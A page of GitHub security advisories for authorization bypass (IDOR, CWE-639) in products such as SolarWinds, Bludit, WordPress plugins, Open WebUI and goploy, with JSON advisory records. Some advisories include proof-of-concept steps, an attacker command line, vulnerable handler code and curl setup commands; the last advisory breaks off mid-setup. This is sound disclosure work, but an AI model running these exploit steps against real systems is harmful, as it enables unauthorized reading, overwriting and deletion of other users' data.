CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3391 vulnerabilities reference this CWE, most recent first.
GHSA-259M-9WGG-GMJW
Vulnerability from github – Published: 2022-10-21 12:00 – Updated: 2022-10-21 19:01Users with Node Management rights were able to view and edit all nodes due to Insufficient control on URL parameter causing insecure direct object reference (IDOR) vulnerability in SolarWinds Platform 2022.3 and previous.
{
"affected": [],
"aliases": [
"CVE-2022-36966"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-20T21:15:00Z",
"severity": "MODERATE"
},
"details": "Users with Node Management rights were able to view and edit all nodes due to Insufficient control on URL parameter causing insecure direct object reference (IDOR) vulnerability in SolarWinds Platform 2022.3 and previous.",
"id": "GHSA-259m-9wgg-gmjw",
"modified": "2022-10-21T19:01:09Z",
"published": "2022-10-21T12:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36966"
},
{
"type": "WEB",
"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/solarwinds_platform_2022-4_release_notes.htm"
},
{
"type": "WEB",
"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2022-36966"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25F8-P6JG-JQW6
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2024-04-04 00:52Bludit prior to 3.9.1 allows a non-privileged user to change the password of any account, including admin. This occurs because of bl-kernel/admin/controllers/user-password.php Insecure Direct Object Reference (a modified username POST parameter).
{
"affected": [],
"aliases": [
"CVE-2019-12742"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-05T16:29:00Z",
"severity": "HIGH"
},
"details": "Bludit prior to 3.9.1 allows a non-privileged user to change the password of any account, including admin. This occurs because of bl-kernel/admin/controllers/user-password.php Insecure Direct Object Reference (a modified username POST parameter).",
"id": "GHSA-25f8-p6jg-jqw6",
"modified": "2024-04-04T00:52:38Z",
"published": "2022-05-24T16:47:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12742"
},
{
"type": "WEB",
"url": "https://github.com/bludit/bludit/commit/a1bb333153fa8ba29a88cfba423d810f509a2b37"
},
{
"type": "WEB",
"url": "https://github.com/bludit/bludit/releases/tag/3.9.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-25FX-MXC2-76G7
Vulnerability from github – Published: 2021-10-06 17:49 – Updated: 2022-08-15 20:11Impact
URL to the payment page done after checkout was created with autoincremented payment id (/pay-with-paypal/{id}) and therefore it was easy to access for anyone, not even the order's customer. The problem was, the Credit card form has prefilled "credit card holder" field with the Customer's first and last name.
Additionally, the mentioned form did not require a 3D Secure authentication, as well as did not checked the result of the 3D Secure authentication.
Patches
The problem has been patched in Sylius/PayPalPlugin 1.2.4 and 1.3.1
Workarounds
One can override a sylius_paypal_plugin_pay_with_paypal_form route and change its URL parameters to (for example) {orderToken}/{paymentId}, then override the Sylius\PayPalPlugin\Controller\PayWithPayPalFormAction service, to operate on the payment taken from the repository by these 2 values. It would also require usage of custom repository method.
Additionally, one could override the @SyliusPayPalPlugin/payWithPaypal.html.twig template, to add contingencies: ['SCA_ALWAYS'] line in hostedFields.submit(...) function call (line 421). It would then have to be handled in the function callback.
For more information
If you have any questions or comments about this advisory: - Open an issue in Sylius/PayPalPlugin issues - Email us at security at sylius dot com
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "sylius/paypal-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "sylius/paypal-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41120"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-05T21:12:27Z",
"nvd_published_at": "2021-10-05T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nURL to the payment page done after checkout was created with autoincremented payment id (`/pay-with-paypal/{id}`) and therefore it was easy to access for anyone, not even the order\u0027s customer. The problem was, the Credit card form has prefilled \"credit card holder\" field with the Customer\u0027s first and last name.\nAdditionally, the mentioned form did not require a 3D Secure authentication, as well as did not checked the result of the 3D Secure authentication.\n\n### Patches\nThe problem has been patched in Sylius/PayPalPlugin **1.2.4** and **1.3.1**\n\n### Workarounds\nOne can override a `sylius_paypal_plugin_pay_with_paypal_form` route and change its URL parameters to (for example) `{orderToken}/{paymentId}`, then override the `Sylius\\PayPalPlugin\\Controller\\PayWithPayPalFormAction` service, to operate on the payment taken from the repository by these 2 values. It would also require usage of custom repository method.\nAdditionally, one could override the `@SyliusPayPalPlugin/payWithPaypal.html.twig` template, to add `contingencies: [\u0027SCA_ALWAYS\u0027]` line in `hostedFields.submit(...)` function call (line 421). It would then have to be handled in the function callback.\n\n### For more information\nIf you have any questions or comments about this advisory:\n- Open an issue in Sylius/PayPalPlugin issues\n- Email us at security at sylius dot com\n",
"id": "GHSA-25fx-mxc2-76g7",
"modified": "2022-08-15T20:11:12Z",
"published": "2021-10-06T17:49:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Sylius/PayPalPlugin/security/advisories/GHSA-25fx-mxc2-76g7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41120"
},
{
"type": "WEB",
"url": "https://github.com/Sylius/PayPalPlugin/commit/2adc46be2764ccee22b4247139b8056fb8d1afff"
},
{
"type": "WEB",
"url": "https://github.com/Sylius/PayPalPlugin/commit/814923c2e9d97fe6279dcee866c34ced3d2fb7a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/Sylius/PayPalPlugin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sylius PayPal Plugin allows unauthorized access to Credit card form, exposing payer name and not requiring 3DS"
}
GHSA-25JM-89CM-8Q44
Vulnerability from github – Published: 2021-12-22 00:00 – Updated: 2022-07-30 00:00The Logo Carousel WordPress plugin before 3.4.2 allows users with a role as low as Contributor to duplicate and view arbitrary private posts made by other users via the Carousel Duplication feature
{
"affected": [],
"aliases": [
"CVE-2021-24739"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-21T09:15:00Z",
"severity": "HIGH"
},
"details": "The Logo Carousel WordPress plugin before 3.4.2 allows users with a role as low as Contributor to duplicate and view arbitrary private posts made by other users via the Carousel Duplication feature",
"id": "GHSA-25jm-89cm-8q44",
"modified": "2022-07-30T00:00:40Z",
"published": "2021-12-22T00:00:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24739"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/2afadc76-93ad-47e1-a224-e442ac41cbce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25V3-3WW8-WR27
Vulnerability from github – Published: 2022-11-28 15:30 – Updated: 2022-11-30 06:30The Awesome Support WordPress plugin before 6.1.2 does not ensure that the exported tickets archive to be downloaded belongs to the user making the request, allowing a low privileged user, such as subscriber to download arbitrary exported tickets via an IDOR vector
{
"affected": [],
"aliases": [
"CVE-2022-3511"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-28T14:15:00Z",
"severity": "MODERATE"
},
"details": "The Awesome Support WordPress plugin before 6.1.2 does not ensure that the exported tickets archive to be downloaded belongs to the user making the request, allowing a low privileged user, such as subscriber to download arbitrary exported tickets via an IDOR vector",
"id": "GHSA-25v3-3ww8-wr27",
"modified": "2022-11-30T06:30:27Z",
"published": "2022-11-28T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3511"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/9e57285a-0023-4711-874c-6e7b3c2673d1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25VJ-QM23-FX63
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19The Squaretype WordPress theme before 3.0.4 allows unauthenticated users to manipulate the query_vars used to retrieve the posts to display in one of its REST endpoint, without any validation. As a result, private and scheduled posts could be retrieved via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2021-24840"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-08T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Squaretype WordPress theme before 3.0.4 allows unauthenticated users to manipulate the query_vars used to retrieve the posts to display in one of its REST endpoint, without any validation. As a result, private and scheduled posts could be retrieved via a crafted request.",
"id": "GHSA-25vj-qm23-fx63",
"modified": "2022-05-24T19:19:57Z",
"published": "2022-05-24T19:19:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24840"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/971302fd-4e8b-4c6a-818f-3a42c7fb83ef"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-25WW-MHX2-69FF
Vulnerability from github – Published: 2025-06-10 12:30 – Updated: 2025-10-22 15:31An Insecure Direct Object Reference (IDOR) vulnerability has been found in DM Corporative CMS. This vulnerability allows an attacker to access the private area setting the option parameter equal to 0, 1 or 2 in /administer/selectionnode/framesSelectionNetworks.asp.
{
"affected": [],
"aliases": [
"CVE-2025-40659"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T10:15:28Z",
"severity": "MODERATE"
},
"details": "An Insecure Direct Object Reference (IDOR) vulnerability has been found in DM Corporative CMS. This vulnerability allows an attacker to access the private area setting the\u00a0option parameter equal to 0, 1 or 2 in /administer/selectionnode/framesSelectionNetworks.asp.",
"id": "GHSA-25ww-mhx2-69ff",
"modified": "2025-10-22T15:31:04Z",
"published": "2025-06-10T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40659"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-dm-corporative-cms-dmacroweb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-26G6-6369-5JMC
Vulnerability from github – Published: 2025-04-23 12:31 – Updated: 2025-04-23 12:31This vulnerability exists in Meon Bidding Solutions due to improper authorization controls on certain API endpoints for the initiation, modification, or cancellation operations. An authenticated remote attacker could exploit this vulnerability by manipulating parameter in the API request body to gain unauthorized access to other user accounts.
Successful exploitation of this vulnerability could allow remote attacker to perform authorized manipulation of data associated with other user accounts.
{
"affected": [],
"aliases": [
"CVE-2025-42605"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-23T11:15:47Z",
"severity": "CRITICAL"
},
"details": "This vulnerability exists in Meon Bidding Solutions due to improper authorization controls on certain API endpoints for the initiation, modification, or cancellation operations. An authenticated remote attacker could exploit this vulnerability by manipulating parameter in the API request body to gain unauthorized access to other user accounts.\n\nSuccessful exploitation of this vulnerability could allow remote attacker to perform authorized manipulation of data associated with other user accounts.",
"id": "GHSA-26g6-6369-5jmc",
"modified": "2025-04-23T12:31:25Z",
"published": "2025-04-23T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42605"
},
{
"type": "WEB",
"url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2025-0082"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-26G9-27VM-X3Q8
Vulnerability from github – Published: 2026-05-14 20:28 – Updated: 2026-05-15 23:54Summary
Any authenticated user can permanently delete files owned by other users via DELETE /api/v1/files/{id} when the target file is referenced in any shared chat. The has_access_to_file() authorization gate unconditionally grants access through its shared-chat branch. It checks neither the requesting user's identity nor the type of operation being performed. File UUIDs (which would otherwise be impractical to guess) are disclosed to any user with read access to a knowledge base via GET /api/v1/knowledge/{id}/files.
Details
The root cause is in has_access_to_file() in backend/open_webui/routers/files.py.
When a user calls DELETE /api/v1/files/{file_id}, the endpoint delegates authorization to has_access_to_file(file_id, access_type="write", user=requesting_user). Inside that function, one branch checks whether the file is referenced in any shared chat:
chats = Chats.get_shared_chats_by_file_id(file_id, db=db)
if chats:
return True
This branch has two missing checks:
- No user check: It asks "does any shared chat anywhere reference this file?", not "does the requesting user own or participate in that chat." Any authenticated user passes this check.
- No operation check: The
access_typeparameter ("write"for delete) is accepted but never inspected. The branch returnsTrueregardless of whether the caller is requesting read access or delete access.
The result: if any user has shared any chat that references a file, that file becomes deletable by every authenticated user on the instance.
The delete endpoint has no secondary ownership check (unlike the content-update endpoint), so this authorization bypass leads directly to permanent file removal from the database, disk, and all knowledge base associations.
How an attacker obtains file UUIDs:
UUIDs are impractical to brute-force, but they don't need to be. Any user with read access to a knowledge base can retrieve the file IDs of every document in it via GET /api/v1/knowledge/{id}/files. In deployments where knowledge bases are shared across teams (a common and intended use case), this gives any regular user a list of valid file UUIDs they can target.
Suggested fix: gate the shared-chat branch on access_type so it only authorizes read operations:
if access_type == "read":
chats = Chats.get_shared_chats_by_file_id(file_id, db=db)
if chats:
return True
Classification:
- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP API1:2023: Broken Object Level Authorization
- CVSS 3.1: 5.7 — AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Tested on Open WebUI 0.8.3 using a default Docker configuration.
PoC
Prerequisites:
- Default Open WebUI installation (Docker: ghcr.io/open-webui/open-webui:main)
- Two user accounts: a victim (any role) and an attacker (role: user)
Setup (victim): 1. Log in as the victim 2. Create a knowledge base and upload a document 3. Start a new chat, attach the KB file, and send a message 4. Share the chat using the share button
Obtaining the file UUID (attacker):
If the attacker has read access to the knowledge base (e.g. a shared team KB), the file UUID is available via:
GET /api/v1/knowledge/{kb_id}/files
This returns metadata for all files in the KB, including their UUIDs.
Exploit (attacker):
python3 poc.py --url http://<host>:3000 --file-id <target-file-uuid> -t <attacker-jwt>
The PoC script (attached as poc.py):
1. Authenticates as the attacker
2. Confirms the target file is accessible via GET /api/v1/files/{id}/data/content
3. Deletes the file via DELETE /api/v1/files/{id}
4. Verifies permanent deletion (HTTP 404 on subsequent GET)
No special tooling is required — the script uses only Python 3 standard library (urllib).
Impact
Who is affected: Any multi-user Open WebUI deployment where chat sharing is enabled (the default). The attacker needs a valid account (any role) and a target file UUID, which is available through any shared knowledge base.
What can happen: - Permanent data destruction: The file is removed from the database, disk, and all knowledge base associations with no recovery mechanism. - Knowledge base degradation: If the file was part of a RAG knowledge base, that KB silently loses the document with no user-facing indication that content is missing. - No audit trail: The delete operation does not record which user performed it.
Sharing a chat is a routine collaboration action. The current behavior means that doing so inadvertently makes every referenced file deletable by any authenticated user on the instance.
Disclaimer on the use of AI powered tools
The research and reporting related to this vulnerability was aided by AI tools.
Scope clarification
The root cause is the has_access_to_file() shared-chat branch returning True regardless of access_type or requesting user. The original PoC demonstrates DELETE (access_type='write'), but the same gate is what authorizes the read (GET /api/v1/files/{id}, GET /api/v1/files/{id}/content) and modify (POST /api/v1/files/{id}/data/content/update) endpoints. All three access modes are bypassed by the same function gap, so the practical impact is read + modify + delete on any file referenced by any shared chat.
Resolution
Fixed in commit 2e52ad8ff ("refac: shared chat"), first released in v0.9.0 (Apr 2026). The shared-chat feature was refactored to introduce a dedicated shared_chats table and gate shared-chat access through AccessGrants (resource_type='shared_chat'). has_access_to_file() (now in backend/open_webui/utils/access_control/files.py:68-80) calls AccessGrants.get_accessible_resource_ids to filter the shared-chat IDs to only those the requesting user has an explicit grant on — ownership, group membership, or public share — before returning True
The new gate is permission-aware ('read' here) and user-aware, closing both the "any user passes" issue and the "access_type ignored" issue. Users on >= 0.9.0 are not affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.12"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45671"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:28:34Z",
"nvd_published_at": "2026-05-15T20:16:49Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAny authenticated user can permanently delete files owned by other users via `DELETE /api/v1/files/{id}` when the target file is referenced in any shared chat. The `has_access_to_file()` authorization gate unconditionally grants access through its shared-chat branch. It checks neither the requesting user\u0027s identity nor the type of operation being performed. File UUIDs (which would otherwise be impractical to guess) are disclosed to any user with read access to a knowledge base via `GET /api/v1/knowledge/{id}/files`.\n\n### Details\n\nThe root cause is in `has_access_to_file()` in [backend/open_webui/routers/files.py](https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py).\n\nWhen a user calls `DELETE /api/v1/files/{file_id}`, the endpoint delegates authorization to `has_access_to_file(file_id, access_type=\"write\", user=requesting_user)`. Inside that function, one branch checks whether the file is referenced in any shared chat:\n\n```python\nchats = Chats.get_shared_chats_by_file_id(file_id, db=db)\nif chats:\n return True\n```\n\nThis branch has two missing checks:\n\n1. **No user check:** It asks \"does any shared chat anywhere reference this file?\", not \"does the requesting user own or participate in that chat.\" Any authenticated user passes this check.\n2. **No operation check:** The `access_type` parameter (`\"write\"` for delete) is accepted but never inspected. The branch returns `True` regardless of whether the caller is requesting read access or delete access.\n\nThe result: if any user has shared any chat that references a file, that file becomes deletable by every authenticated user on the instance.\n\nThe delete endpoint has no secondary ownership check (unlike the content-update endpoint), so this authorization bypass leads directly to permanent file removal from the database, disk, and all knowledge base associations.\n\n**How an attacker obtains file UUIDs:**\n\nUUIDs are impractical to brute-force, but they don\u0027t need to be. Any user with read access to a knowledge base can retrieve the file IDs of every document in it via `GET /api/v1/knowledge/{id}/files`. In deployments where knowledge bases are shared across teams (a common and intended use case), this gives any regular user a list of valid file UUIDs they can target.\n\n**Suggested fix**: gate the shared-chat branch on `access_type` so it only authorizes read operations:\n\n```python\nif access_type == \"read\":\n chats = Chats.get_shared_chats_by_file_id(file_id, db=db)\n if chats:\n return True\n```\n\n**Classification:**\n- CWE-639: Authorization Bypass Through User-Controlled Key\n- OWASP API1:2023: Broken Object Level Authorization\n- CVSS 3.1: 5.7 \u2014 `AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H`\n\nTested on Open WebUI **0.8.3** using a default Docker configuration.\n\n### PoC\n\n**Prerequisites:**\n- Default Open WebUI installation (Docker: `ghcr.io/open-webui/open-webui:main`)\n- Two user accounts: a victim (any role) and an attacker (role: `user`)\n\n**Setup (victim):**\n1. Log in as the victim\n2. Create a knowledge base and upload a document\n3. Start a new chat, attach the KB file, and send a message\n4. Share the chat using the share button\n\n**Obtaining the file UUID (attacker):**\n\nIf the attacker has read access to the knowledge base (e.g. a shared team KB), the file UUID is available via:\n\n```\nGET /api/v1/knowledge/{kb_id}/files\n```\n\nThis returns metadata for all files in the KB, including their UUIDs.\n\n**Exploit (attacker):**\n\n```bash\npython3 poc.py --url http://\u003chost\u003e:3000 --file-id \u003ctarget-file-uuid\u003e -t \u003cattacker-jwt\u003e\n```\n\nThe PoC script (attached as `poc.py`):\n1. Authenticates as the attacker\n2. Confirms the target file is accessible via `GET /api/v1/files/{id}/data/content`\n3. Deletes the file via `DELETE /api/v1/files/{id}`\n4. Verifies permanent deletion (HTTP 404 on subsequent GET)\n\nNo special tooling is required \u2014 the script uses only Python 3 standard library (`urllib`).\n\n### Impact\n\n**Who is affected:** Any multi-user Open WebUI deployment where chat sharing is enabled (the default). The attacker needs a valid account (any role) and a target file UUID, which is available through any shared knowledge base.\n\n**What can happen:**\n- **Permanent data destruction:** The file is removed from the database, disk, and all knowledge base associations with no recovery mechanism.\n- **Knowledge base degradation:** If the file was part of a RAG knowledge base, that KB silently loses the document with no user-facing indication that content is missing.\n- **No audit trail:** The delete operation does not record which user performed it.\n\nSharing a chat is a routine collaboration action. The current behavior means that doing so inadvertently makes every referenced file deletable by any authenticated user on the instance.\n\n### Disclaimer on the use of AI powered tools \n\nThe research and reporting related to this vulnerability was aided by AI tools. \n\n## Scope clarification\n\nThe root cause is the `has_access_to_file()` shared-chat branch returning `True` regardless of `access_type` or requesting user. The original PoC demonstrates DELETE (`access_type=\u0027write\u0027`), but the same gate is what authorizes the read (`GET /api/v1/files/{id}`, `GET /api/v1/files/{id}/content`) and modify (`POST /api/v1/files/{id}/data/content/update`) endpoints. All three access modes are bypassed by the same function gap, so the practical impact is read + modify + delete on any file referenced by any shared chat.\n\n## Resolution\n\nFixed in commit [2e52ad8ff](https://github.com/open-webui/open-webui/commit/2e52ad8ff2f8d9ed9f38f76e9bc19c8f92d91fc3) (\"refac: shared chat\"), first released in **v0.9.0** (Apr 2026). The shared-chat feature was refactored to introduce a dedicated `shared_chats` table and gate shared-chat access through `AccessGrants` (`resource_type=\u0027shared_chat\u0027`). `has_access_to_file()` (now in `backend/open_webui/utils/access_control/files.py:68-80`) calls `AccessGrants.get_accessible_resource_ids` to filter the shared-chat IDs to only those the requesting user has an explicit grant on \u2014 ownership, group membership, or public share \u2014 before returning `True`\n\nThe new gate is permission-aware (\u0027read\u0027 here) and user-aware, closing both the \"any user passes\" issue and the \"access_type ignored\" issue. Users on \u003e= 0.9.0 are not affected.",
"id": "GHSA-26g9-27vm-x3q8",
"modified": "2026-05-15T23:54:57Z",
"published": "2026-05-14T20:28:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-26g9-27vm-x3q8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45671"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/2e52ad8ff2f8d9ed9f38f76e9bc19c8f92d91fc3"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: shared-chat branch ignores access_type, allowing unauthorized file deletion"
}
GHSA-26RH-24RG-J3VV
Vulnerability from github – Published: 2026-07-07 23:42 – Updated: 2026-07-07 23:42Summary
Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.
Affected
zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).
The four handlers and the model lookups have been in this shape across the file API and project metadata API.
Vulnerable code
cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):
func (Project) AddFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectID int64 `json:"projectId" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
Filename string `json:"filename" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
// ... os.Create(filePath); file.WriteString(reqData.Content)
id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}
cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):
func (Project) EditFile(gp *server.Goploy) server.Response {
type ReqData struct {
ID int64 `json:"id" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
// ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
file.WriteString(reqData.Content)
}
cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):
func (Project) RemoveFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}
cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):
func (Project) Edit(gp *server.Goploy) server.Response {
// ... ReqData has ID, Name, URL, Branch, Script, etc.
projectData, err := model.Project{ID: reqData.ID}.GetData()
model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
if reqData.URL != projectData.URL {
srcPath := config.GetProjectPath(projectData.ID)
cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
cmd.Dir = srcPath
}
}
internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:
func (pf ProjectFile) GetData() (ProjectFile, error) {
err := sq.
Select("id, project_id, filename, insert_time, update_time").
From(projectFileTable).
Where(sq.Eq{"id": pf.ID}).
...
}
internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:
func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
if len(r.permissionIDs) == 0 { return nil }
for _, permissionID := range r.permissionIDs {
if _, ok := permissionIDs[permissionID]; ok { return nil }
}
return errors.New("no permission")
}
Reachable
Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.
Proof of concept
Setup against the published Docker image:
docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
-e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
mysql:8.0 --default-authentication-plugin=mysql_native_password
# Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'
# Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 \
-v $PWD/repo:/opt/goploy/repository \
zhenorzz/goploy:1.17.5
Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:
# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'
ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'
# Create NS_B
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
# → {"data":{"id":2}}
# Create alice (id=2) and bob (id=3)
